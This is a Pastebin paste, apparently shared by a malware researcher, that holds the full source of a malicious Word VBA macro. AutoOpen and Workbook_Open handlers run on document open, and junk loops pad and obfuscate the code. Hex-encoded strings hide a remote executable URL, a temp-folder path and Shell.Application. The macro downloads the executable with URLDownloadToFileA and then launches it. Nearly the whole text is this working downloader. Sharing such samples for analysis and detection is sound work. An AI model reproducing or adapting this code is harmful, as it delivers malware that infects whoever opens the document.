Advertisement
dynamoo

Malicious Word macro

Dec 24th, 2014
1,634
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. Attribute VB_Name = "ThisDocument"
  2. Attribute VB_Base = "1Normal.ThisDocument"
  3. Attribute VB_GlobalNameSpace = False
  4. Attribute VB_Creatable = False
  5. Attribute VB_PredeclaredId = True
  6. Attribute VB_Exposed = True
  7. Attribute VB_TemplateDerived = True
  8. Attribute VB_Customizable = True
  9. #If Win64 Then
  10.     Private Declare PtrSafe Function URLDownloadToFileA Lib "urlmon" (ByVal NRTMLM As Long, _
  11. ByVal UUQCES As String, ByVal VKDDKH As String, ByVal XXRYIY As Long, _
  12. ByVal RPBFSI As Long) As Long
  13. #Else
  14.     Private Declare Function URLDownloadToFileA Lib "urlmon" (ByVal NRTMLM As Long, _
  15. ByVal UUQCES As String, ByVal VKDDKH As String, ByVal XXRYIY As Long, _
  16. ByVal RPBFSI As Long) As Long
  17. #End If
  18.  
  19.  
  20.  
  21. Sub pJIBidfsdfgF()
  22. Dim eEvLrfmk As Integer
  23. For eEvLrfmk = 0 To 3
  24. Dim baWfWDze As Integer
  25. For baWfWDze = 0 To 7
  26. Dim SAYgiaqO As Integer
  27. For SAYgiaqO = 0 To 3
  28. DoEvents
  29. Next SAYgiaqO
  30. DoEvents
  31. Next baWfWDze
  32. Dim YqYhypAo As Integer
  33. For YqYhypAo = 0 To 4
  34. DoEvents
  35. Next YqYhypAo
  36. DoEvents
  37. Next eEvLrfmk
  38. Dim EEVzDOFd As Integer
  39. For EEVzDOFd = 0 To 7
  40. Dim zPXimGvf As Integer
  41. For zPXimGvf = 0 To 8
  42. DoEvents
  43. Next zPXimGvf
  44. DoEvents
  45. Next EEVzDOFd
  46. Dim pLIoZUak As Integer
  47. For pLIoZUak = 0 To 9
  48. DoEvents
  49. Next pLIoZUak
  50. dfgfdYUHKJ
  51. End Sub
  52. Sub AutoOpen()
  53. Dim EbjbQDPq As Integer
  54. For EbjbQDPq = 0 To 4
  55. Dim CdllBhov As Integer
  56. For CdllBhov = 0 To 7
  57. Dim PQHZWtCI As Integer
  58. For PQHZWtCI = 0 To 9
  59. DoEvents
  60. Next PQHZWtCI
  61. DoEvents
  62. Next CdllBhov
  63. Dim kCQNamsp As Integer
  64. For kCQNamsp = 0 To 5
  65. DoEvents
  66. Next kCQNamsp
  67. DoEvents
  68. Next EbjbQDPq
  69. Dim twymuiQZ As Integer
  70. For twymuiQZ = 0 To 9
  71. Dim gdlbxxrS As Integer
  72. For gdlbxxrS = 0 To 5
  73. DoEvents
  74. Next gdlbxxrS
  75. DoEvents
  76. Next twymuiQZ
  77. Dim wwtnRgYJ As Integer
  78. For wwtnRgYJ = 0 To 6
  79. DoEvents
  80. Next wwtnRgYJ
  81.     pJIBidfsdfgF
  82. End Sub
  83. Sub Workbook_Open()
  84. Dim lSDSjaIX As Integer
  85. For lSDSjaIX = 0 To 5
  86. Dim sTDHWGDR As Integer
  87. For sTDHWGDR = 0 To 4
  88. Dim sRKbXAsB As Integer
  89. For sRKbXAsB = 0 To 8
  90. DoEvents
  91. Next sRKbXAsB
  92. DoEvents
  93. Next sTDHWGDR
  94. Dim tkwqbUkk As Integer
  95. For tkwqbUkk = 0 To 6
  96. DoEvents
  97. Next tkwqbUkk
  98. DoEvents
  99. Next lSDSjaIX
  100. Dim lFnJrYhI As Integer
  101. For lFnJrYhI = 0 To 5
  102. Dim TlJYcqhc As Integer
  103. For TlJYcqhc = 0 To 4
  104. DoEvents
  105. Next TlJYcqhc
  106. DoEvents
  107. Next lFnJrYhI
  108. Dim vumjzjmH As Integer
  109. For vumjzjmH = 0 To 3
  110. DoEvents
  111. Next vumjzjmH
  112.     pJIBidfsdfgF
  113. End Sub
  114. Sub dfgfdYUHKJ()
  115. Dim OLyhOPhV As Integer
  116. For OLyhOPhV = 0 To 5
  117. Dim ggfGxPRk As Integer
  118. For ggfGxPRk = 0 To 1
  119. Dim ZPjYCgvP As Integer
  120. For ZPjYCgvP = 0 To 9
  121. DoEvents
  122. Next ZPjYCgvP
  123. DoEvents
  124. Next ggfGxPRk
  125. Dim OLrUtuaF As Integer
  126. For OLrUtuaF = 0 To 8
  127. DoEvents
  128. Next OLrUtuaF
  129. DoEvents
  130. Next OLyhOPhV
  131. Dim lJjEgYjA As Integer
  132. For lJjEgYjA = 0 To 2
  133. Dim WbfHdOwR As Integer
  134. For WbfHdOwR = 0 To 1
  135. DoEvents
  136. Next WbfHdOwR
  137. DoEvents
  138. Next lJjEgYjA
  139. Dim RvlvZBKy As Integer
  140. For RvlvZBKy = 0 To 7
  141. DoEvents
  142. Next RvlvZBKy
  143.     ioHBKJdg = HexToString("687474703A2F2F4C69636874626C69636B2D74696572652E64652F6A732F62696E2E657865")
  144.  
  145. Dim RxEAjGVp As Integer
  146. For RxEAjGVp = 0 To 1
  147. Dim CgfDTtIw As Integer
  148. For CgfDTtIw = 0 To 4
  149. Dim FgQeLJJU As Integer
  150. For FgQeLJJU = 0 To 6
  151. DoEvents
  152. Next FgQeLJJU
  153. DoEvents
  154. Next CgfDTtIw
  155. Dim mUycLsvf As Integer
  156. For mUycLsvf = 0 To 2
  157. DoEvents
  158. Next mUycLsvf
  159. DoEvents
  160. Next RxEAjGVp
  161. Dim HzKcpqDF As Integer
  162. For HzKcpqDF = 0 To 3
  163. Dim OMaGEVHE As Integer
  164. For OMaGEVHE = 0 To 3
  165. DoEvents
  166. Next OMaGEVHE
  167. DoEvents
  168. Next HzKcpqDF
  169. Dim lLycLgdt As Integer
  170. For lLycLgdt = 0 To 2
  171. DoEvents
  172. Next lLycLgdt
  173.     pPPhujkfg = Environ(HexToString("54454D50")) & HexToString("5C3156324D555932585759534658512E657865")
  174. Dim DworZYei As Integer
  175. For DworZYei = 0 To 6
  176. Dim upqzZMmH As Integer
  177. For upqzZMmH = 0 To 7
  178. Dim HrUkDKOk As Integer
  179. For HrUkDKOk = 0 To 1
  180. DoEvents
  181. Next HrUkDKOk
  182. DoEvents
  183. Next upqzZMmH
  184. Dim sEVeUqFO As Integer
  185. For sEVeUqFO = 0 To 7
  186. DoEvents
  187. Next sEVeUqFO
  188. DoEvents
  189. Next DworZYei
  190. Dim DxzQCjfE As Integer
  191. For DxzQCjfE = 0 To 6
  192. Dim NNAFobqA As Integer
  193. For NNAFobqA = 0 To 5
  194. DoEvents
  195. Next NNAFobqA
  196. DoEvents
  197. Next DxzQCjfE
  198. Dim IBTxvGUe As Integer
  199. For IBTxvGUe = 0 To 8
  200. DoEvents
  201. Next IBTxvGUe
  202.     R = URLDownloadToFileA(0&, ioHBKJdg, pPPhujkfg, 0&, 0&)
  203. Dim QThZvUng As Integer
  204. For QThZvUng = 0 To 2
  205. Dim jBETMSlj As Integer
  206. For jBETMSlj = 0 To 5
  207. Dim pHJEOhLq As Integer
  208. For pHJEOhLq = 0 To 1
  209. DoEvents
  210. Next pHJEOhLq
  211. DoEvents
  212. Next jBETMSlj
  213. Dim kMNMqpIw As Integer
  214. For kMNMqpIw = 0 To 2
  215. DoEvents
  216. Next kMNMqpIw
  217. DoEvents
  218. Next QThZvUng
  219. Dim qDujcKvO As Integer
  220. For qDujcKvO = 0 To 4
  221. Dim WZeUslhK As Integer
  222. For WZeUslhK = 0 To 7
  223. DoEvents
  224. Next WZeUslhK
  225. DoEvents
  226. Next qDujcKvO
  227. Dim zQGIlsKX As Integer
  228. For zQGIlsKX = 0 To 8
  229. DoEvents
  230. Next zQGIlsKX
  231.     Set fdfgdfeer4gf = CreateObject(HexToString("5368656C6C2E4170706C69636174696F6E"))
  232. fdfgdfeer4gf.Open pPPhujkfg
  233. End Sub
  234.  
  235. Public Function HexToString(ByVal jYsjanx As String) As String
  236. Dim gTFhDP As String
  237. Dim LdOSt As String
  238. Dim eYqnKg As Long
  239. For eYqnKg = 1 To Len(jYsjanx) Step 2
  240. Dim KznwAUrB As Integer
  241. For KznwAUrB = 0 To 7
  242. Dim CcuMacGs As Integer
  243. For CcuMacGs = 0 To 7
  244. DoEvents
  245. Next CcuMacGs
  246. DoEvents
  247. Next KznwAUrB
  248. Dim tYMWohkh As Integer
  249. For tYMWohkh = 0 To 9
  250. DoEvents
  251. Next tYMWohkh
  252. gTFhDP = Chr$(Val(Chr$(38) & Chr$(72) & Mid$(jYsjanx, eYqnKg, 2)))
  253. Dim HdUMvIny As Integer
  254. For HdUMvIny = 0 To 1
  255. Dim kiZssepc As Integer
  256. For kiZssepc = 0 To 5
  257. DoEvents
  258. Next kiZssepc
  259. DoEvents
  260. Next HdUMvIny
  261. Dim sHZspsnX As Integer
  262. For sHZspsnX = 0 To 7
  263. DoEvents
  264. Next sHZspsnX
  265. LdOSt = LdOSt & gTFhDP
  266. Next eYqnKg
  267. Dim MFPIjRfh As Integer
  268. For MFPIjRfh = 0 To 4
  269. Dim xAlzqaHp As Integer
  270. For xAlzqaHp = 0 To 8
  271. DoEvents
  272. Next xAlzqaHp
  273. DoEvents
  274. Next MFPIjRfh
  275. Dim EPtelKlg As Integer
  276. For EPtelKlg = 0 To 7
  277. DoEvents
  278. Next EPtelKlg
  279. HexToString = LdOSt
  280. End Function
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement